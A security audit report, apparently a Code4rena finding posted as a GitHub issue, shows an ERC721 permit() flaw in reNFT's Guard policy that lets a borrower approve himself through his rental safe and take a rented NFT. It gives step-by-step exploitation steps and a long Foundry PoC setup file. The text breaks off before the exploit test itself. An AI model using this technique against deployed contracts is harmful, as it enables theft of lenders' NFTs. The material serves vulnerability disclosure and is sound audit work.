c4-bot-3 commented 8 months ago

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol#L195

Vulnerability details

Pre-requisite knowledge & an overview of the features in question

ERC-4494: Permit for ERC-721 NFTs: ERC721-Permit is very similar to ERC20-permit (EIP-2612). ERC721 Permit adds a new permit() function. It allows user can sign an ERC721 approve transaction off-chain producing a signature that anyone could use and submit to the permit function. When permit is executed, it will execute the approve function. This allows for meta-transaction support of ERC721 transfers, but it also simply gets rid of the annoyance of needing two transactions: approve and transferFrom. Additionally, ERC721-Permit, just like ERC20 permit, prevents misuse and replay attacks. A replay attack is when a valid signature is used several times or in places where it's not intended to be used in.

You can find an implementation of it here, by uniswap: https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/ERC721Permit.sol

The Vulnerability & Exploitation Steps

ReNFT doesn't account for ERC721 implementing the permit() function, allowing a malicious borrower to hijack the token by producing a signature and feeding it to the permit() function requesting it to approve his address to transfer the token

Exploitation Steps

The attacker rents the NFT token in his rental safe
The attacker creates a signature which he will need to feed to the permit() function. The signature is a signed data including info like: 1. the deadline (until when the signature would be valid), 2. the token ID he wants to approve his address to spend, 3. the spender, in this case it's the attacker's address (Look at the PoC to see how it's generated)
The attacker calls permit() funtion and gives it the signature along with the deadline, approved address and the spender.
The permit() function will reach out to the attacker's rental safe (since it is the owner of the token and since it's a smart contract verifying the signature (EIP-1271) ), asking it if the signature is valid
The rental safe will verify the signature and confirm that it's the attacker (owner of the safe) who signed the transaction
permit() will approve the attacker's address to spend the token on behalf of the attacker's safe (token is owned by the safe)
Attacker will then transfer the token out of his safe.

Proof of concept

To run the PoC, you'll need to do the following:

You'll need to add the following two files to the test/ folder:
1. SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
2. Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
You'll need to run this command forge test --match-contract Exploit --match-test test_NFT_Permit_Exploit -vvv

Note: All of my 7 PoCs throughout my reports include the SetupExploit.sol. Please do not rely on the previous SetupExploit.sol file if you already had one from another PoC run in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure needed for the exploit

The files:

SetupExploit.sol

// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { ConsiderationItem, OfferItem, OrderParameters, OrderComponents, Order, AdvancedOrder, ItemType, ItemType as SeaportItemType, CriteriaResolver, OrderType as SeaportOrderType, Fulfillment, FulfillmentComponent } from "@seaport-types/lib/ConsiderationStructs.sol"; import { AdvancedOrderLib, ConsiderationItemLib, FulfillmentComponentLib, FulfillmentLib, OfferItemLib, OrderComponentsLib, OrderLib, OrderParametersLib, SeaportArrays, ZoneParametersLib } from "@seaport-sol/SeaportSol.sol"; import { OrderMetadata, OrderType, OrderFulfillment, RentPayload, RentalOrder, Item, SettleTo, ItemType as RentalItemType } from "@src/libraries/RentalStructs.sol"; import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol"; import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol"; import {Vm} from "@forge-std/Vm.sol"; import {Test} from "@forge-std/Test.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {LibString} from "@solady/utils/LibString.sol"; import {SafeL2} from "@safe-contracts/SafeL2.sol"; import {Safe} from "@safe-contracts/Safe.sol"; // import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol"; import {SafeProxyFactory} from "@safe-contracts/proxies/SafeProxyFactory.sol"; import {Create2Deployer} from "@src/Create2Deployer.sol"; import {Kernel, Actions} from "@src/Kernel.sol"; import {Storage} from "@src/modules/Storage.sol"; import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol"; import {Create} from "@src/policies/Create.sol"; import {Stop} from "@src/policies/Stop.sol"; import {Factory} from "@src/policies/Factory.sol"; import {Admin} from "@src/policies/Admin.sol"; import {Guard} from "@src/policies/Guard.sol"; import {toRole} from "@src/libraries/KernelUtils.sol"; import {Proxy} from "@src/proxy/Proxy.sol"; import {Events} from "@src/libraries/Events.sol"; import {HandlerContext} from "@safe-contracts/handler/HandlerContext.sol"; import {CompatibilityFallbackHandler} from "@safe-contracts/handler/CompatibilityFallbackHandler.sol"; import {ISignatureValidator} from "@safe-contracts/interfaces/ISignatureValidator.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol"; import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol"; import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; import {Seaport} from "@seaport-core/Seaport.sol"; import {ConduitController} from "@seaport-core/conduit/ConduitController.sol"; import {ConduitControllerInterface} from "@seaport-types/interfaces/ConduitControllerInterface.sol"; import {ConduitInterface} from "@seaport-types/interfaces/ConduitInterface.sol"; import "@forge-std/console.sol"; // Deploys all Seaport protocol contracts contract External_Seaport is Test { // seaport protocol contracts Seaport public seaport; ConduitController public conduitController; ConduitInterface public conduit; // conduit owner and key Vm.Wallet public conduitOwner; bytes32 public conduitKey; function setUp() public virtual { // generate conduit owner wallet conduitOwner = vm.createWallet("conduitOwner"); // deploy conduit controller conduitController = new ConduitController(); // deploy seaport seaport = new Seaport(address(conduitController)); // create a conduit key (first 20 bytes must be conduit creator) conduitKey = bytes32(uint256(uint160(conduitOwner.addr))) << 96; // create a new conduit vm.prank(conduitOwner.addr); address conduitAddress = conduitController.createConduit( conduitKey, conduitOwner.addr ); // set the conduit address conduit = ConduitInterface(conduitAddress); // open a channel for seaport on the conduit vm.prank(conduitOwner.addr); conduitController.updateChannel(address(conduit), address(seaport), true); // label the contracts vm.label(address(seaport), "Seaport"); vm.label(address(conduitController), "ConduitController"); vm.label(address(conduit), "Conduit"); } } // Deploys the Create2Deployer contract contract External_Create2Deployer is Test { Create2Deployer public create2Deployer; function setUp() public virtual { // Deploy the create2 deployer contract create2Deployer = new Create2Deployer(); // label the contract vm.label(address(create2Deployer), "Create2Deployer"); } } // Deploys all Gnosis Safe protocol contracts contract External_Safe is Test { SafeL2 public safeSingleton; SafeProxyFactory public safeProxyFactory; CompatibilityFallbackHandler public fallbackHandler; function setUp() public virtual { // Deploy safe singleton contract safeSingleton = new SafeL2(); // Deploy safe proxy factory safeProxyFactory = new SafeProxyFactory(); // Deploy the compatibility token handler fallbackHandler = new CompatibilityFallbackHandler(); // Label the contracts vm.label(address(safeSingleton), "SafeSingleton"); vm.label(address(safeProxyFactory), "SafeProxyFactory"); vm.label(address(fallbackHandler), "TokenCallbackHandler"); } } contract BaseExternal is External_Create2Deployer, External_Seaport, External_Safe { // This is an explicit entrypoint for all external contracts that the V3 protocol depends on. // // It contains logic for: // - setup of the Create2Deployer contract // - setup of all Seaport protocol contracts // - setup of all Gnosis Safe protocol contracts // // The inheritance chain is as follows: // External_Create2Deployer + External_Seaport + External_Safe // --> BaseExternal function setUp() public virtual override(External_Create2Deployer, External_Seaport, External_Safe) { // set up dependencies External_Create2Deployer.setUp(); External_Seaport.setUp(); External_Safe.setUp(); } } // Deploys all V3 protocol contracts contract Protocol is BaseExternal { // Kernel Kernel public kernel; // Modules Storage public STORE; PaymentEscrow public ESCRW; // Module implementation addresses Storage public storageImplementation; PaymentEscrow public paymentEscrowImplementation; // Policies Create public create; Stop public stop; Factory public factory; Admin public admin; Guard public guard; // Protocol accounts Vm.Wallet public rentalSigner; Vm.Wallet public deployer; // protocol constants bytes12 public protocolVersion; bytes32 public salt; function _deployKernel() internal { // abi encode the kernel bytecode and constructor arguments bytes memory kernelInitCode = abi.encodePacked( type(Kernel).creationCode, abi.encode(deployer.addr, deployer.addr) ); // Deploy kernel contract vm.prank(deployer.addr); kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode)); // label the contract vm.label(address(kernel), "kernel"); } function _deployStorageModule() internal { // abi encode the storage bytecode and constructor arguments // for the implementation contract bytes memory storageImplementationInitCode = abi.encodePacked( type(Storage).creationCode, abi.encode(address(0)) ); // Deploy storage implementation contract vm.prank(deployer.addr); storageImplementation = Storage( create2Deployer.deploy(salt, storageImplementationInitCode) ); // abi encode the storage bytecode and initialization arguments // for the proxy contract bytes memory storageProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(storageImplementation), abi.encodeWithSelector( Storage.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy storage proxy contract vm.prank(deployer.addr); STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode)); // label the contracts vm.label(address(STORE), "STORE"); vm.label(address(storageImplementation), "STORE_IMPLEMENTATION"); } function _deployPaymentEscrowModule() internal { // abi encode the payment escrow bytecode and constructor arguments // for the implementation contract bytes memory paymentEscrowImplementationInitCode = abi.encodePacked( type(PaymentEscrow).creationCode, abi.encode(address(0)) ); // Deploy payment escrow implementation contract vm.prank(deployer.addr); paymentEscrowImplementation = PaymentEscrow( create2Deployer.deploy(salt, paymentEscrowImplementationInitCode) ); // abi encode the payment escrow bytecode and initialization arguments // for the proxy contract bytes memory paymentEscrowProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(paymentEscrowImplementation), abi.encodeWithSelector( PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy payment escrow contract vm.prank(deployer.addr); ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode)); // label the contracts vm.label(address(ESCRW), "ESCRW"); vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION"); } function _deployCreatePolicy() internal { // abi encode the create policy bytecode and constructor arguments bytes memory createInitCode = abi.encodePacked( type(Create).creationCode, abi.encode(address(kernel)) ); // Deploy create rental policy contract vm.prank(deployer.addr); create = Create(create2Deployer.deploy(salt, createInitCode)); // label the contract vm.label(address(create), "CreatePolicy"); } function _deployStopPolicy() internal { // abi encode the stop policy bytecode and constructor arguments bytes memory stopInitCode = abi.encodePacked( type(Stop).creationCode, abi.encode(address(kernel)) ); // Deploy stop rental policy contract vm.prank(deployer.addr); stop = Stop(create2Deployer.deploy(salt, stopInitCode)); // label the contract vm.label(address(stop), "StopPolicy"); } function _deployAdminPolicy() internal { // abi encode the admin policy bytecode and constructor arguments bytes memory adminInitCode = abi.encodePacked( type(Admin).creationCode, abi.encode(address(kernel)) ); // Deploy admin policy contract vm.prank(deployer.addr); admin = Admin(create2Deployer.deploy(salt, adminInitCode)); // label the contract vm.label(address(admin), "AdminPolicy"); } function _deployGuardPolicy() internal { // abi encode the guard policy bytecode and constructor arguments bytes memory guardInitCode = abi.encodePacked( type(Guard).creationCode, abi.encode(address(kernel)) ); // Deploy guard policy contract vm.prank(deployer.addr); guard = Guard(create2Deployer.deploy(salt, guardInitCode)); // label the contract vm.label(address(guard), "GuardPolicy"); } function _deployFactoryPolicy() internal { // abi encode the factory policy bytecode and constructor arguments bytes memory factoryInitCode = abi.encodePacked( type(Factory).creationCode, abi.encode( address(kernel), address(stop), address(guard), address(fallbackHandler), address(safeProxyFactory), address(safeSingleton) ) ); // Deploy factory policy contract vm.prank(deployer.addr); factory = Factory(create2Deployer.deploy(salt, factoryInitCode)); // label the contract vm.label(address(factory), "FactoryPolicy"); } function _setupKernel() internal { // Start impersonating the deployer vm.startPrank(deployer.addr); // Install modules kernel.executeAction(Actions.InstallModule, address(STORE)); kernel.executeAction(Actions.InstallModule, address(ESCRW)); // Approve policies kernel.executeAction(Actions.ActivatePolicy, address(create)); kernel.executeAction(Actions.ActivatePolicy, address(stop)); kernel.executeAction(Actions.ActivatePolicy, address(factory)); kernel.executeAction(Actions.ActivatePolicy, address(guard)); kernel.executeAction(Actions.ActivatePolicy, address(admin)); // Grant `seaport` role to seaport protocol kernel.grantRole(toRole("SEAPORT"), address(seaport)); // Grant `signer` role to the protocol signer to sign off on create payloads kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr); // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr); // Grant 'guard_admin` role to the address which can toggle hooks kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr); // Grant `stop_admin` role to the address which can skim funds from the payment escrow kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr); // Stop impersonating the deployer vm.stopPrank(); } function setUp() public virtual override { // setup dependencies super.setUp(); // create the rental signer address and private key rentalSigner = vm.createWallet("rentalSigner"); // create the deployer address and private key deployer = vm.createWallet("deployer"); // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract) protocolVersion = 0x000000000000000000000100; salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion); // deploy kernel _deployKernel(); // Deploy payment escrow _deployPaymentEscrowModule(); // Deploy rental storage _deployStorageModule(); // deploy create policy _deployCreatePolicy(); // deploy stop policy _deployStopPolicy(); // deploy admin policy _deployAdminPolicy(); // Deploy guard policy _deployGuardPolicy(); // deploy rental factory _deployFactoryPolicy(); // intialize the kernel _setupKernel(); } } // Creates test accounts to interact with the V3 protocol // Borrowed from test/fixtures/protocol/AccountCreator contract AccountCreator is Protocol { // Protocol accounts for testing ProtocolAccount public alice; ProtocolAccount public bob; ProtocolAccount public carol; ProtocolAccount public dan; ProtocolAccount public eve; ProtocolAccount public attacker; // Mock tokens for testing MockERC20[] public erc20s; MockERC721[] public erc721s; MockERC1155[] public erc1155s; function setUp() public virtual override { super.setUp(); // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens _deployTokens(3); // instantiate all wallets and deploy rental safes for each alice = _fundWalletAndDeployRentalSafe("alice"); bob = _fundWalletAndDeployRentalSafe("bob"); carol = _fundWalletAndDeployRentalSafe("carol"); dan = _fundWalletAndDeployRentalSafe("dan"); eve = _fundWalletAndDeployRentalSafe("eve"); attacker = _fundWalletAndDeployRentalSafe("attacker"); } function _deployTokens(uint256 numTokens) internal { for (uint256 i; i < numTokens; i++) { _deployErc20Token(); _deployErc721Token(); _deployErc1155Token(); } } function _deployErc20Token() internal returns (uint256 i) { // save the token's index i = erc20s.length; // deploy the mock token MockERC20 token = new MockERC20(); // push the token to the array of mocks erc20s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC20_", LibString.toString(i))); } function _deployErc721Token() internal returns (uint256 i) { // save the token's index i = erc721s.length; // deploy the mock token MockERC721 token = new MockERC721(); // push the token to the array of mocks erc721s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC721_", LibString.toString(i))); } function _deployErc1155Token() internal returns (uint256 i) { // save the token's index i = erc1155s.length; // deploy the mock token MockERC1155 token = new MockERC1155(); // push the token to the array of mocks erc1155s.push(token); // set the token label with the index vm.label(address(token), string.concat("MERC1155_", LibString.toString(i))); } function _deployRentalSafe( address owner, string memory name ) internal returns (address safe) { // Deploy a 1/1 rental safe address[] memory owners = new address[](1); owners[0] = owner; safe = factory.deployRentalSafe(owners, 1); } function _fundWalletAndDeployRentalSafe( string memory name ) internal returns (ProtocolAccount memory account) { // create a wallet with a address, public key, and private key Vm.Wallet memory wallet = vm.createWallet(name); // deploy a rental safe for the address address rentalSafe = _deployRentalSafe(wallet.addr, name); // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s _allocateTokensAndApprovals(wallet.addr, 10000); // create an account account = ProtocolAccount({ addr: wallet.addr, safe: SafeL2(payable(rentalSafe)), publicKeyX: wallet.publicKeyX, publicKeyY: wallet.publicKeyY, privateKey: wallet.privateKey }); } function _allocateTokensAndApprovals(address to, uint128 amount) internal { // deal ether to the recipient vm.deal(to, amount); // mint all erc20 tokens to the recipient for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].mint(to, amount); } // set token approvals _setApprovals(to); } function _setApprovals(address owner) internal { // impersonate the owner address vm.startPrank(owner); // set all approvals for erc20 tokens for (uint256 i = 0; i < erc20s.length; ++i) { erc20s[i].approve(address(conduit), type(uint256).max); } // set all approvals for erc721 tokens for (uint256 i = 0; i < erc721s.length; ++i) { erc721s[i].setApprovalForAll(address(conduit), true); } // set all approvals for erc1155 tokens for (uint256 i = 0; i < erc1155s.length; ++i) { erc1155s[i].setApprovalForAll(address(conduit), true); } // stop impersonating vm.stopPrank(); } } // Sets up logic in the test engine related to order creation // Borrowed from test/fixtures/engine/OrderCreator contract OrderCreator is AccountCreator { using OfferItemLib for OfferItem; using ConsiderationItemLib for ConsiderationItem; using OrderComponentsLib for OrderComponents; using OrderLib for Order; using ECDSA for bytes32; // defines a config for a standard order component string constant STANDARD_ORDER_COMPONENTS = "standard_order_components"; struct OrderToCreate { ProtocolAccount offerer; OfferItem[] offerItems; ConsiderationItem[] considerationItems; OrderMetadata metadata; } // keeps track of tokens used during a test uint256[] usedOfferERC721s; uint256[] usedOfferERC1155s; uint256[] usedConsiderationERC721s; uint256[] usedConsiderationERC1155s; // components of an order OrderToCreate orderToCreate; function setUp() public virtual override { super.setUp(); // Define a standard OrderComponents struct which is ready for // use with the Create Policy and the protocol conduit contract OrderComponentsLib .empty() .withOrderType(SeaportOrderType.FULL_RESTRICTED) .withZone(address(create)) .withStartTime(block.timestamp) .withEndTime(block.timestamp + 100) .withSalt(123456789) .withConduitKey(conduitKey) .saveDefault(STANDARD_ORDER_COMPONENTS); // for each test token, create a storage slot for (uint256 i = 0; i < erc721s.length; i++) { usedOfferERC721s.push(); usedConsiderationERC721s.push(); usedOfferERC1155s.push(); usedConsiderationERC1155s.push(); } } ///////////////////////////////////////////////////////////////////////////////// // Order Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order based on the provided context. The defaults on this order // are good for most test cases. function createOrder( ProtocolAccount memory offerer, OrderType orderType, uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers, uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) internal { // require that the number of offer items or consideration items // dont exceed the number of test tokens require( erc721Offers <= erc721s.length && erc721Offers <= erc1155s.length && erc20Offers <= erc20s.length, "TEST: too many offer items defined" ); require( erc721Considerations <= erc721s.length && erc1155Considerations <= erc1155s.length && erc20Considerations <= erc20s.length, "TEST: too many consideration items defined" ); // create the offerer _createOfferer(offerer); // add the offer items _createOfferItems(erc721Offers, erc1155Offers, erc20Offers); // create the consideration items _createConsiderationItems( erc721Considerations, erc1155Considerations, erc20Considerations ); // Create order metadata _createOrderMetadata(orderType); } // Creates an offerer on the order to create function _createOfferer(ProtocolAccount memory offerer) private { orderToCreate.offerer = offerer; } // Creates offer items which are good for most tests function _createOfferItems( uint256 erc721Offers, uint256 erc1155Offers, uint256 erc20Offers ) private { // generate the ERC721 offer items for (uint256 i = 0; i < erc721Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedOfferERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // mint an erc721 to the offerer erc721s[i].mint(orderToCreate.offerer.addr); // update the used token so it cannot be used again in the same test usedOfferERC721s[i]++; } // generate the ERC1155 offer items for (uint256 i = 0; i < erc1155Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedOfferERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // mint an erc1155 to the offerer erc1155s[i].mint(orderToCreate.offerer.addr, 100); // update the used token so it cannot be used again in the same test usedOfferERC1155s[i]++; } // generate the ERC20 offer items for (uint256 i = 0; i < erc20Offers; ++i) { // create the offer item orderToCreate.offerItems.push( OfferItemLib .empty() .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates consideration items that are good for most tests function _createConsiderationItems( uint256 erc721Considerations, uint256 erc1155Considerations, uint256 erc20Considerations ) private { // generate the ERC721 consideration items for (uint256 i = 0; i < erc721Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC721) .withToken(address(erc721s[i])) .withIdentifierOrCriteria(usedConsiderationERC721s[i]) .withStartAmount(1) .withEndAmount(1) ); // update the used token so it cannot be used again in the same test usedConsiderationERC721s[i]++; } // generate the ERC1155 consideration items for (uint256 i = 0; i < erc1155Considerations; ++i) { // create the consideration item, and set the recipient as the offerer's // rental safe address orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(orderToCreate.offerer.safe)) .withItemType(ItemType.ERC1155) .withToken(address(erc1155s[i])) .withIdentifierOrCriteria(usedConsiderationERC1155s[i]) .withStartAmount(100) .withEndAmount(100) ); // update the used token so it cannot be used again in the same test usedConsiderationERC1155s[i]++; } // generate the ERC20 consideration items for (uint256 i = 0; i < erc20Considerations; ++i) { // create the offer item orderToCreate.considerationItems.push( ConsiderationItemLib .empty() .withRecipient(address(ESCRW)) .withItemType(ItemType.ERC20) .withToken(address(erc20s[i])) .withStartAmount(100) .withEndAmount(100) ); } } // Creates a order metadata that is good for most tests function _createOrderMetadata(OrderType orderType) private { // Create order metadata orderToCreate.metadata.orderType = orderType; orderToCreate.metadata.rentDuration = 500; orderToCreate.metadata.emittedExtraData = new bytes(0); } // creates a signed seaport order ready to be fulfilled by a renter function _createSignedOrder( ProtocolAccount memory _offerer, OfferItem[] memory _offerItems, ConsiderationItem[] memory _considerationItems, OrderMetadata memory _metadata ) private view returns (Order memory order, bytes32 orderHash) { // Build the order components OrderComponents memory orderComponents = OrderComponentsLib .fromDefault(STANDARD_ORDER_COMPONENTS) .withOfferer(_offerer.addr) .withOffer(_offerItems) .withConsideration(_considerationItems) .withZoneHash(create.getOrderMetadataHash(_metadata)) .withCounter(seaport.getCounter(_offerer.addr)); // generate the order hash orderHash = seaport.getOrderHash(orderComponents); // generate the signature for the order components bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash); // create the order, but dont provide a signature if its a PAYEE order. // Since PAYEE orders are fulfilled by the offerer of the order, they // dont need a signature. if (_metadata.orderType == OrderType.PAYEE) { order = OrderLib.empty().withParameters(orderComponents.toOrderParameters()); } else { order = OrderLib .empty() .withParameters(orderComponents.toOrderParameters()) .withSignature(signature); } } function _signSeaportOrder( uint256 signerPrivateKey, bytes32 orderHash ) private view returns (bytes memory signature) { // fetch domain separator from seaport (, bytes32 domainSeparator, ) = seaport.information(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(orderHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Order Amendments // ///////////////////////////////////////////////////////////////////////////////// function resetOrderToCreate() internal { delete orderToCreate; } function withOfferer(ProtocolAccount memory _offerer) internal { orderToCreate.offerer = _offerer; } function resetOfferer() internal { delete orderToCreate.offerer; } function withReplacedOfferItems(OfferItem[] memory _offerItems) internal { // reset all current offer items resetOfferItems(); // add the new offer items to storage for (uint256 i = 0; i < _offerItems.length; i++) { orderToCreate.offerItems.push(_offerItems[i]); } } function withOfferItem(OfferItem memory offerItem) internal { orderToCreate.offerItems.push(offerItem); } function resetOfferItems() internal { delete orderToCreate.offerItems; } function popOfferItem() internal { orderToCreate.offerItems.pop(); } function withReplacedConsiderationItems( ConsiderationItem[] memory _considerationItems ) internal { // reset all current consideration items resetConsiderationItems(); // add the new consideration items to storage for (uint256 i = 0; i < _considerationItems.length; i++) { orderToCreate.considerationItems.push(_considerationItems[i]); } } function withConsiderationItem(ConsiderationItem memory considerationItem) internal { orderToCreate.considerationItems.push(considerationItem); } function resetConsiderationItems() internal { delete orderToCreate.considerationItems; } function popConsiderationItem() internal { orderToCreate.considerationItems.pop(); } function withHooks(Hook[] memory hooks) internal { // delete the current metatdata hooks delete orderToCreate.metadata.hooks; // add each metadata hook to storage for (uint256 i = 0; i < hooks.length; i++) { orderToCreate.metadata.hooks.push(hooks[i]); } } function withOrderMetadata(OrderMetadata memory _metadata) internal { // update the static metadata parameters orderToCreate.metadata.orderType = _metadata.orderType; orderToCreate.metadata.rentDuration = _metadata.rentDuration; orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData; // update the hooks withHooks(_metadata.hooks); } function resetOrderMetadata() internal { delete orderToCreate.metadata; } ///////////////////////////////////////////////////////////////////////////////// // Order Finalization // ///////////////////////////////////////////////////////////////////////////////// function finalizeOrder() internal returns (Order memory, bytes32, OrderMetadata memory) { // create and sign the order (Order memory order, bytes32 orderHash) = _createSignedOrder( orderToCreate.offerer, orderToCreate.offerItems, orderToCreate.considerationItems, orderToCreate.metadata ); // pull order metadata into memory OrderMetadata memory metadata = orderToCreate.metadata; // clear structs resetOrderToCreate(); return (order, orderHash, metadata); } } // Sets up logic in the test engine related to order fulfillment // Borrowed from test/fixtures/engine/OrderFulfiller contract OrderFulfiller is OrderCreator { using ECDSA for bytes32; struct OrderToFulfill { bytes32 orderHash; RentPayload payload; AdvancedOrder advancedOrder; } // components of a fulfillment ProtocolAccount fulfiller; OrderToFulfill[] ordersToFulfill; Fulfillment[] seaportMatchOrderFulfillments; FulfillmentComponent[][] seaportOfferFulfillments; FulfillmentComponent[][] seaportConsiderationFulfillments; address seaportRecipient; ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Creation // ///////////////////////////////////////////////////////////////////////////////// // creates an order fulfillment function createOrderFulfillment( ProtocolAccount memory _fulfiller, Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) internal { // set the fulfiller account fulfiller = _fulfiller; // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via // `matchAdvancedOrders`, then any unspent offer items will go to this address as well seaportRecipient = address(_fulfiller.safe); // get a pointer to a new order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill.push(); // create an order fulfillment OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe)); // add the order hash and fulfiller orderToFulfill.orderHash = orderHash; // create rental zone payload data _createRentalPayload( orderToFulfill.payload, RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr) ); // generate the signature for the payload bytes memory signature = _signProtocolOrder( rentalSigner.privateKey, create.getRentPayloadHash(orderToFulfill.payload) ); // create an advanced order from the order. Pass the rental // payload as extra data _createAdvancedOrder( orderToFulfill.advancedOrder, AdvancedOrder( order.parameters, 1, 1, order.signature, abi.encode(orderToFulfill.payload, signature) ) ); } function _createOrderFulfiller( ProtocolAccount storage storageFulfiller, ProtocolAccount memory _fulfiller ) private { storageFulfiller.addr = _fulfiller.addr; storageFulfiller.safe = _fulfiller.safe; storageFulfiller.publicKeyX = _fulfiller.publicKeyX; storageFulfiller.publicKeyY = _fulfiller.publicKeyY; storageFulfiller.privateKey = _fulfiller.privateKey; } function _createOrderFulfillment( OrderFulfillment storage storageFulfillment, OrderFulfillment memory fulfillment ) private { storageFulfillment.recipient = fulfillment.recipient; } function _createOrderMetadata( OrderMetadata storage storageMetadata, OrderMetadata memory metadata ) private { // Create order metadata in storage storageMetadata.orderType = metadata.orderType; storageMetadata.rentDuration = metadata.rentDuration; storageMetadata.emittedExtraData = metadata.emittedExtraData; // dynamically push the hooks from memory to storage for (uint256 i = 0; i < metadata.hooks.length; i++) { storageMetadata.hooks.push(metadata.hooks[i]); } } function _createRentalPayload( RentPayload storage storagePayload, RentPayload memory payload ) private { // set payload fulfillment on the order to fulfill _createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment); // set payload metadata on the order to fulfill _createOrderMetadata(storagePayload.metadata, payload.metadata); // set payload expiration on the order to fulfill storagePayload.expiration = payload.expiration; // set payload intended fulfiller on the order to fulfill storagePayload.intendedFulfiller = payload.intendedFulfiller; } function _createAdvancedOrder( AdvancedOrder storage storageAdvancedOrder, AdvancedOrder memory advancedOrder ) private { // create the order parameters on the order to fulfill _createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters); // create the rest of the static parameters on the order to fulfill storageAdvancedOrder.numerator = advancedOrder.numerator; storageAdvancedOrder.denominator = advancedOrder.denominator; storageAdvancedOrder.signature = advancedOrder.signature; storageAdvancedOrder.extraData = advancedOrder.extraData; } function _createOrderParameters( OrderParameters storage storageOrderParameters, OrderParameters memory orderParameters ) private { // create the static order parameters for the order to fulfill storageOrderParameters.offerer = orderParameters.offerer; storageOrderParameters.zone = orderParameters.zone; storageOrderParameters.orderType = orderParameters.orderType; storageOrderParameters.startTime = orderParameters.startTime; storageOrderParameters.endTime = orderParameters.endTime; storageOrderParameters.zoneHash = orderParameters.zoneHash; storageOrderParameters.salt = orderParameters.salt; storageOrderParameters.conduitKey = orderParameters.conduitKey; storageOrderParameters.totalOriginalConsiderationItems = orderParameters .totalOriginalConsiderationItems; // create the dynamic order parameters for the order to fulfill for (uint256 i = 0; i < orderParameters.offer.length; i++) { storageOrderParameters.offer.push(orderParameters.offer[i]); } for (uint256 i = 0; i < orderParameters.consideration.length; i++) { storageOrderParameters.consideration.push(orderParameters.consideration[i]); } } function _createSeaportFulfillment( Fulfillment storage storageFulfillment, Fulfillment memory fulfillment ) private { // push the offer components to storage for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) { storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]); } // push the consideration components to storage for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) { storageFulfillment.considerationComponents.push( fulfillment.considerationComponents[i] ); } } function _seaportItemTypeToRentalItemType( SeaportItemType seaportItemType ) internal pure returns (RentalItemType) { if (seaportItemType == SeaportItemType.ERC20) { return 